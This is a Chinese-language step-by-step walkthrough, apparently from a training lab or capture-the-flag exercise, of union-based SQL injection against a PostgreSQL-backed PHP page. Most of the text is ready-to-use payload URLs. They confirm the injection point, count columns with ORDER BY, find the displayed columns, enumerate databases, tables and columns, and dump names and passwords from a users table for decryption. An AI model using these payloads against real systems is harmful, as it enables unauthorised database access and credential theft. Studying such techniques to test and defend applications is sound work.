(1)查看是否存在注⼊点...构造Payload;回显没有显示数据,代表“and 1=2”语句拼接到了后 端数据库查询语句当中...
# Payload
new_list.php?id=1 and 1=2
(2)开始猜解后端收据库能够返回多少个字段..发现order by 5的时候没有数据回显,order by 4 有回显数据,所以后端返回到前端的数据字段数为4个
# Payload
new_list.php?id=1 order by 4
new_list.php?id=1 order by 5
# 注释信息
Order by是数据库查询的时候对结果进⾏的排序,如果后⾯写的是字段,则根据查询字段进⾏排序, 但如果后⾯写的是数字,该数字⼤于所查询的字段数,则就会报错,⼩于的话就不会报错。
(3)开始检测这4个字段当中哪些字段可以被前端显示出来且使⽤union 查询来构造 Payload/...通过测试发现只有第⼆第三个字段是前端回显数据字段。
# Payload
new_list.php?id=1 and 1=2 union select 'null',null,null,null //⽆回显
new_list.php?id=1 and 1=2 union select null,'null',null,null //有回显
new_list.php?id=1 and 1=2 union select null,null,'null',null //有回显
new_list.php?id=1 and 1=2 union select null,null,null,'null' //⽆回显
(4)在这两个字段当中来查询我们想要的得到的数据。例如得到当前数据库名称和当前⽤户以 及数据库的版本...
current_database() //当前数据库
current_user //当前⽤户
version() //版本信息
# 爆所有的数据库
new_list.php?id=1 and 1=2 union select null,null,string_agg(datname,','),nu ll from pg_database
其中string_agg(datname,',')是将查询到的数据库名⽤“,”拼接起来,pg_database存储了所 有的数据库名。
(5)构造Payload爆指定数据库下的表名....
# Payload
new_list.php?id=1 and 1=2 union select null,null,string_agg(tablename,','), null from pg_tables where schemaname='public'
new_list.php?id=1 and 1=2 union select null,null,string_agg(relname,','),nu ll from pg_stat_user_tables where schemaname='public'
new_list.php?id=1 and 1=2 union select null,null,string_agg(table_nam e,','),null from information_schema.tables where table_schema='public'
# 注释
其中pg_tables,pg_stat_user_tables,information_schema.tables存储了所有的表名, public是⼀种模式,Postgresql 查表的限制都是public
(6)此时我们已经得到了表并开始查询字段,由于查询到的第⼆个表名带有“user”,我们就先 查询它
new_list.php?id=1 and 1=2 union select null,null,string_agg(column_nam e,','),null from information_schema.columns where table_name='reg_users'
其中information_schema.columns为⼀个存放了所有表字段的⼀张表
(7)查询到字段以后,最后⼀步就是爆出数据了且如下构造payload
new_list.php?id=1 and 1=2 union select null,string_agg(name,','),string_agg (password,','),null from reg_users
(8)解密并得到相对应账号密码